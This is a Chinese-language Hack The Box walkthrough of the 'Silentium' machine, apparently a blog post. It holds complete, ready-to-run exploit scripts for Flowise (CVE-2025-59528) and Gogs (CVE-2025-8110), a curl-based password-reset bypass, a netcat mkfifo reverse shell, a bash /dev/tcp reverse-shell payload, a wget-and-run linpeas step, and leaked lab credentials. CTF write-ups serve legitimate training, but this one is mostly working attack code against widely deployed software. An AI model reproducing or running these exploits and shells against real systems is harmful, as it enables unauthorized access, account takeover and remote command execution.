HTB - Silentium

复制代码
10.129.19.65

nmap扫描

复制代码
sudo nmap --top-ports 10000 10.129.19.65 --min-rate=1000 -oA ips_quick_TCP_nmapscan && sudo nmap --top-ports 10000 10.129.19.65 --min-rate=1000 -sU -oA ips_quick_UDP_nmapscan && nmap -p- 10.129.19.65 -oA ips_full_TCP_nmapscan --min-rate=1000 && sudo nmap -p- 10.129.19.65 -sU -oA ips_full_UDP_nmapscan --min-rate=1000

nmap详细扫描

复制代码
nmap -sV -sC -p22,80 --min-rate=1000 10.129.19.65 -vv -Pn

写入host

复制代码
echo '10.129.19.65 silentium.htb' | sudo tee -a /etc/hosts

访问silentium.htb

web连招

复制代码
katana -u http://silentium.htb/  -d 5 -jc -kf all

ffuf -w /home/kali/Desktop/Info/customDic/dirsearch_dicc.txt:FUZZ -u http://silentium.htb/FUZZ -mc all -fw 1866

ffuf -w /usr/share/seclists/Discovery/Web-Content/big.txt:FUZZ -u http://silentium.htb/FUZZ -e .php -mc all -fw 1866

ffuf -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt:FUZZ -u http://silentium.htb/FUZZ -e .php -mc all -fw 1866

ffuf -w /home/kali/Desktop/Info/SecLists-master/SecLists-master/Discovery/DNS/subdomains-top1million-20000.txt:FUZZ -u http://silentium.htb/ -H 'Host: FUZZ.silentium.htb' -mc all -fw 6

发现vhost

复制代码
echo '10.129.19.65 staging.silentium.htb' | sudo tee -a /etc/hosts

访问

http://staging.silentium.htb/organization-setup

中间件 - Flowise - 认证绕过漏洞

使用poc 认证绕过

https://github.com/FlowiseAI/Flowise/security/advisories/GHSA-wgpv-6j63-x5ph

发现tempToken

复制代码
curl -i -X POST http://staging.silentium.htb/api/v1/account/forgot-password \
  -H "Content-Type: application/json" \
  -d '{"user":{"email":"ben@silentium.htb"}}'

修改用户密码为root123456

复制代码
curl -i -X POST http://staging.silentium.htb/api/v1/account/reset-password \
  -H "Content-Type: application/json" \
  -d '{
        "user":{
          "email":"ben@silentium.htb",
          "tempToken":"NXdnMjeGJDE7hx87REQTEhpHPfyFlMdX1DqWw5n1TLtrskQQsTXk5nwOB3KTonI2",
          "password":"root123456"
        }
      }'

登录系统

复制代码
ben@silentium.htb root123456

中间件 - Flowise - RCE漏洞

我们尝试poc,下面脚本经过修改。

https://www.exploit-db.com/exploits/52440

python 复制代码
# Exploit Title: Flowise 3.0.4 - Remote Code Execution (RCE)
# Date: 10/11/2025
# Exploit Author: [nltt0] (https://github.com/nltt-br))
# Vendor Homepage: https://flowiseai.com/
# Software Link: https://github.com/FlowiseAI/Flowise
# Version: < 3.0.5
# CVE: CVE-2025-59528

import requests
from argparse import ArgumentParser

banner = r"""
_____       _                              _____ 
/  __ \     | |                            /  ___|
| /  \/ __ _| | __ _ _ __   __ _  ___  ___ \ `--. 
| |    / _` | |/ _` | '_ \ / _` |/ _ \/ __| `--. \
| \__/\ (_| | | (_| | | | | (_| | (_) \__ \/\__/ /
\____/\__,_|_|\__,_|_| |_|\__, |\___/|___/\____/ 
                            __/ |                 
                          |___/                  
                
                by nltt0
"""
parser = ArgumentParser(description='CVE-2025-59528 [Flowise < 3.0.5]', usage="python CVE-2025-58434.py --email xtz@local --password Test@2025 --url http://localhost:3000 --cmd \"http://localhost:1337/`whoami`\"")
parser.add_argument('-e', '--email', required=True, help='Registered email')
parser.add_argument('-p', '--password', required=True)
parser.add_argument('-u', '--url', required=True)
parser.add_argument('-c', '--cmd', required=True)

args = parser.parse_args()
email = args.email
password = args.password
url = args.url
cmd = args.cmd

def login(email, url):
    session = requests.Session()
    url_format = "{}/api/v1/auth/login".format(url)
    headers = {"x-request-from": "internal", "Accept-Language": "pt-BR,pt;q=0.9", "Accept": "application/json, text/plain, */*", "Content-Type": "application/json", "User-Agent": "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/138.0.0.0 Safari/537.36", "Origin": "http://workflow.flow.hc", "Referer": "http://workflow.flow.hc/signin", "Accept-Encoding": "gzip, deflate, br", "Connection": "keep-alive"}
    data={"email": email, "password": password}
    r = session.post(url_format, headers=headers, json=data)
    return session, r   
        
def rce(email, url, password, cmd):
    session, status_code = login(email, url)
    url_format = "{}/api/v1/node-load-method/customMCP".format(url)
    command = f'({{x:(function(){{const cp = process.mainModule.require("child_process");cp.execSync("{cmd}");return 1;}})()}})'

    data = {
        "loadMethod": "listActions",
        "inputs": {
            "mcpServerConfig": command
        }
    }

    r = session.post(url_format, json=data)

    if r.status_code == 401:
        session.headers["x-request-from"] = "internal"
        session.post(url_format, json=data)

    print(f"[x] Command executed [{cmd}]")    

rce(email, url, password, cmd)

验证poc有效性

复制代码
python pwn.py  --email ben@silentium.htb --password root123456 --url http://staging.silentium.htb --cmd "curl 10.10.14.212/pwn"

发起反连,我们发现我们在一个docker中

复制代码
python pwn.py  --email ben@silentium.htb --password root123456 --url http://staging.silentium.htb --cmd "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.212 80 >/tmp/f"

发现docker特权,但不足以逃逸

复制代码
cat /proc/1/status | grep Cap
复制代码
capsh --decode=00000000a00425fb

我们查看env

复制代码
F1l3_d0ck3r
r04D!!_R4ge

ssh登录系统

复制代码
ssh ben@silentium.htb
r04D!!_R4ge

上linpeas

复制代码
wget http://10.10.14.212/linpeas.sh && chmod 755 linpeas.sh && ./linpeas.sh

发现gogs是root开启,且版本为

复制代码
/opt/gogs/gogs/gogs -v

查看gogs配置文件

复制代码
sdsrcxSm0iC7wDO

加入vhost

复制代码
echo '10.129.19.65 staging-v2-code.dev.silentium.htb' | sudo tee -a /etc/hosts

该页面被vhost在了nginx可以直接访问

复制代码
http://staging-v2-code.dev.silentium.htb/

中间件 - gogs - RCE

发现poc,修改了poc的一部分

https://github.com/zAbuQasem/gogs-CVE-2025-8110/blob/main/CVE-2025-8110.py

复制代码
python3 CVE-2025-8110.py -u http://staging-v2-code.dev.silentium.htb -lh 10.10.14.212 -lp 80

修改后poc

python 复制代码
#!/usr/bin/env python3

import argparse
import requests
import os
import subprocess
import shutil
import urllib3
from urllib.parse import urlparse
import base64
from bs4 import BeautifulSoup
from rich.console import Console

urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

console = Console()

"""Exploit script for CVE-2025-8110 in Gogs."""

__author__ = "zAbuQasem"
__Linkedin__ = "https://www.linkedin.com/in/zeyad-abulaban/"

proxies = {
    "http": "http://localhost:8080",
    "https": "http://localhost:8080",
}


def register(session, base_url, username, password):
    """Register a new user."""
    register_url = f"{base_url}/user/sign_up"
    resp = session.get(register_url)  # Get CSRF token from form

    csrf = extract_csrf(resp.text)

    register_data = {
        "_csrf": csrf,
        "user_name": username,
        "email": "wy@123.com",  # !!!!! change it !
        "password": password,
        "retype": password,
    }
    resp = session.post(
        register_url,
        headers={"Content-Type": "application/x-www-form-urlencoded"},
        data=register_data,
        allow_redirects=True,
    )
    if "Username has already been taken." in resp.text:
        pass  # User already exists, continue
    elif "notexist" in resp.url:
        console.print(f"[bold red]Registration failed: {resp.status_code}[/bold red]")
        raise ValueError("Registration failed")
    console.print("[bold green][+] Registered successfully[/bold green]")
    return session.cookies


def login(session, base_url, username, password):
    """Authenticate and retrieve CSRF token + session cookie."""
    login_url = f"{base_url}/user/login"
    resp = session.get(login_url)  # Get CSRF token from form

    csrf = extract_csrf(resp.text)

    login_data = {
        "_csrf": csrf,
        "user_name": username,
        "password": password,
    }
    resp = session.post(
        login_url,
        headers={"Content-Type": "application/x-www-form-urlencoded"},
        data=login_data,
        allow_redirects=True,
    )
    if "user/login" in resp.url:
        console.print(f"[bold red]Authentication failed: {resp.status_code}[/bold red]")
        raise ValueError("Authentication failed")
    console.print("[bold green][+] Authenticated successfully[/bold green]")
    return session.cookies


def get_application_token(session, base_url):
    """Retrieve application token from settings."""
    settings_url = f"{base_url}/user/settings/applications"
    # First GET to fetch the page (and CSRF hidden field) before POSTing
    get_resp = session.get(settings_url, allow_redirects=True)
    csrf = extract_csrf(get_resp.text)

    data = {"_csrf": csrf, "name": os.urandom(8).hex()}
    resp = session.post(settings_url, data=data, allow_redirects=True)
    console.print(f"[blue]Token generation status: {resp.status_code}[/blue]")
    soup = BeautifulSoup(resp.text, "html.parser")
    token_div = soup.find("div", class_="ui info message")
    if not token_div:
        raise ValueError("Application token not found")
    token = token_div.find("p").text.strip()
    console.print(f"[bold green][+] Application token: {token}[/bold green]")
    return token


def create_malicious_repo(session, base_url, token):
    """Create a repository with a malicious payload."""
    api = f"{base_url}/api/v1/user/repos"
    repository_name = os.urandom(6).hex()
    data = {
        "name": repository_name,
        "description": "Malicious repo for CVE-2025-8110",
        "auto_init": True,
        "readme": "Default",
        "ssh": True,
    }
    session.headers.update({"Authorization": f"token {token}"})
    resp = session.post(api, json=data)
    console.print(f"[blue]Repo creation status: {resp.status_code}[/blue]")
    return repository_name


def upload_malicious_symlink(base_url, username, password, repo_name):
    """Clone a repo, add a symlink, commit, and push it."""
    repo_dir = f"/tmp/{repo_name}"

    parsed_url = urlparse(base_url)
    if not parsed_url.scheme or not parsed_url.netloc:
        raise ValueError("Base URL must include scheme (e.g., http://host)")
    base_path = parsed_url.path.rstrip("/")

    clone_cmd = [
        "git",
        "clone",
        f"{parsed_url.scheme}://{username}:{password}@{parsed_url.netloc}"
        f"{base_path}/{username}/{repo_name}.git",
        repo_dir,
    ]

    symlink_path = os.path.join(repo_dir, "malicious_link")

    try:
        # Clean up if directory already exists
        if os.path.exists(repo_dir):
            shutil.rmtree(repo_dir)

        # Clone repository
        subprocess.run(clone_cmd, check=True)

        # Create symlink inside the repo
        os.symlink(".git/config", symlink_path)

        # Add, commit, and push
        subprocess.run(
            ["git", "add", "malicious_link"],
            cwd=repo_dir,
            check=True,
        )

        subprocess.run(
            ["git", "commit", "-m", "Add malicious symlink"],
            cwd=repo_dir,
            check=True,
        )

        subprocess.run(
            ["git", "push", "origin", "master"],
            cwd=repo_dir,
            check=True,
        )

    except subprocess.CalledProcessError as e:
        raise ValueError(f"Git command failed: {e}") from e
    except OSError as e:
        raise ValueError(f"Filesystem operation failed: {e}") from e


def exploit(session, base_url, token, username, repo_name, command):
    """Exploit CVE-2025-8110 to execute arbitrary commands."""
    api = f"{base_url}/api/v1/repos/{username}/{repo_name}/contents/malicious_link"
    data = {
        "message": "Exploit CVE-2025-8110",
        "content": base64.b64encode(command.encode()).decode(),
    }
    headers = {
        "Authorization": f"token {token}",
        "Content-Type": "application/json",
    }
    console.print("[bold green][+] Exploit sent, check your listener![/bold green]")
    session.put(api, json=data, headers=headers, proxies=proxies, timeout=5)


def extract_csrf(html_text):
    """Parse CSRF token from hidden input; fallback to cookie if present."""
    soup = BeautifulSoup(html_text, "html.parser")
    token_input = soup.select_one("input[name=_csrf]")
    if token_input and token_input.get("value"):
        return token_input.get("value")
    raise ValueError("CSRF token not found in form response")


def main():
    parser = argparse.ArgumentParser()
    parser.add_argument("-u", "--url", required=True, help="Gogs base URL")
    parser.add_argument("-lh", "--host", required=True, help="Attacker host")
    parser.add_argument("-lp", "--port", required=True, help="Attacker port")
    parser.add_argument("-x", "--proxy", action="store_true", help="Use proxy")
    args = parser.parse_args()
    session = requests.Session()
    if args.proxy:
        session.proxies.update(proxies)
    session.verify = False
    username = "wy" # !!!!! change it !
    password = "root123456" # !!!!! change it !
    command = f"bash -c 'bash -i >& /dev/tcp/{args.host}/{args.port} 0>&1' #"
    try:
        register(session, args.url, username, password)
        login(session, args.url, username, password)
        token = get_application_token(session, args.url)
        repo_name = create_malicious_repo(session, args.url, token)
        git_config = f"""[core]
	repositoryformatversion = 0
	filemode = true
	bare = false
	logallrefupdates = true
	ignorecase = true
	precomposeunicode = true
  sshCommand = {command}
[remote "origin"]
	url = git@localhost:gogs/{repo_name}.git
	fetch = +refs/heads/*:refs/remotes/origin/*
[branch "master"]
	remote = origin
	merge = refs/heads/master
"""
        upload_malicious_symlink(args.url, username, password, repo_name)
        exploit(session, args.url, token, username, repo_name, git_config)

    except Exception as e:
        console.print(f"[bold red][-] Error: {e}[/bold red]")


if __name__ == "__main__":
    main()
相关推荐
金士镧(厦门)新材料有限公司2 小时前
稀土化合物:科技与环保的“隐形支撑”
科技·安全·全文检索·生活·能源
Figo_Cheung2 小时前
Figo 关于OntoGuard-CRE 技术白皮书——已在gitee上开源发布
人工智能·安全·gitee·开源·knowledge graph
Andya_net3 小时前
网络安全 | tcpdump使用详解
安全·web安全·tcpdump
skilllite作者3 小时前
Spec + Task 作为「开发协议层」:Rust 大模型辅助的标准化、harness 化与可回滚
开发语言·人工智能·后端·安全·架构·rust·rust沙箱
Figo_Cheung3 小时前
Figo OntoGuard-CRE:基于IIQ本体的下一代AI伦理安全约束推理引擎——已在gitee上线发布
人工智能·安全·gitee
网络安全许木3 小时前
自学渗透测试第14天(信息收集进阶与指纹识别)
linux·网络安全·渗透测试
qq_260241234 小时前
将盾CDN:零信任安全架构的演进与落地实践
安全·php·安全架构
qq_260241234 小时前
将盾CDN:移动网络环境下的安全接入技术
网络·安全
无忧智库5 小时前
深度解码:烟草行业数字化转型顶层设计与全场景落地实践(PPT)
安全·架构